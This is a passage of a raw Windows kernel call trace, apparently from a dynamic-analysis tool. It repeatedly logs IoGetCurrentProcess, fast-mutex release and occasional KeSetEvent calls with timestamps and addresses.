ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.707] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.793] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.793] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.849] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.849] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.849] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.849] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.927] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.927] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.988] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.988] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0204.089] IoGetCurrentProcess () returned 0xffffe00001078440 [0204.089] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0204.089] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0204.089] IoGetCurrentProcess () returned 0xffffe00001078440 [0204.090] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0204.090] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0204.144] IoGetCurrentProcess () returned 0xffffe00001078440 [0204.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0204.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0204.145] IoGetCurrentProcess () returned 0xffffe00001078440 [0204.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0204.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0204.206] IoGetCurrentProcess () returned 0xffffe00001078440 [0204.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0204.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0204.207] IoGetCurrentProcess () returned 0xffffe00001078440 [0204.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0204.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0204.373] IoGetCurrentProcess () returned 0xffffe00001078440 [0204.374] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0204.374] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0204.374] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0204.374] IoGetCurrentProcess () returned 0xffffe00001078440 [0204.374] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0204.374] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0205.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0205.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.644] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0205.706] IoGetCurrentProcess () returned 0xffffe00001078440 [0205.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0205.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.707] IoGetCurrentProcess () returned 0xffffe00001078440 [0205.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0205.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.769] IoGetCurrentProcess () returned 0xffffe00001078440 [0205.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0205.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.769] IoGetCurrentProcess () returned 0xffffe00001078440 [0205.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0205.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.831] IoGetCurrentProcess () returned 0xffffe00001078440 [0205.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0205.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.832] IoGetCurrentProcess () returned 0xffffe00001078440 [0205.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0205.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.893] IoGetCurrentProcess () returned 0xffffe00001078440 [0205.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0205.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.894] IoGetCurrentProcess () returned 0xffffe00001078440 [0205.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0205.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0206.425] IoGetCurrentProcess () returned 0xffffe00001078440 [0206.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0206.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0206.425] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0208.284] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.284] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0208.347] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.347] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.409] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.409] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.534] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.534] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.597] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.597] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.659] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.659] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.754] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.815] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.925] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0208.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.177] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.177] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0209.237] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.237] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.300] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.300] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.363] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.363] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.425] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.425] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.488] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.489] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.490] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.490] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.550] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.551] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.613] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.613] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.675] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.675] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.737] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.738] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.817] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.817] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.901] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.901] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.902] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.902] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.902] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.902] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.930] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.931] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.931] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.932] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.987] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.987] IoGetCurrentProcess () returned 0xffffe00001078440 [0209.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0210.050] IoGetCurrentProcess () returned 0xffffe00001078440 [0210.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0210.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0210.050] IoGetCurrentProcess () returned 0xffffe00001078440 [0210.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0210.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0210.116] IoGetCurrentProcess () returned 0xffffe00001078440 [0210.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0210.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0210.116] IoGetCurrentProcess () returned 0xffffe00001078440 [0210.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0210.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0210.175] IoGetCurrentProcess () returned 0xffffe00001078440 [0210.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0210.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0210.175] IoGetCurrentProcess () returned 0xffffe00001078440 [0210.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0210.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0211.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0211.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0211.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0211.816] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0211.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0211.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0211.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0211.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0211.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0211.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0211.940] IoGetCurrentProcess () returned 0xffffe00001078440 [0211.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0211.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0211.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0211.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0211.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0212.006] IoGetCurrentProcess () returned 0xffffe00001078440 [0212.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0212.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0212.006] IoGetCurrentProcess () returned 0xffffe00001078440 [0212.007] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0212.007] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0212.065] IoGetCurrentProcess () returned 0xffffe00001078440 [0212.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0212.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0212.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0212.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0212.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0212.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0212.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0212.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0212.566] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0213.410] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.410] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0213.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.534] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.534] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.597] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.598] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.661] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.661] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.662] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.662] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.722] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.723] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.784] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.785] 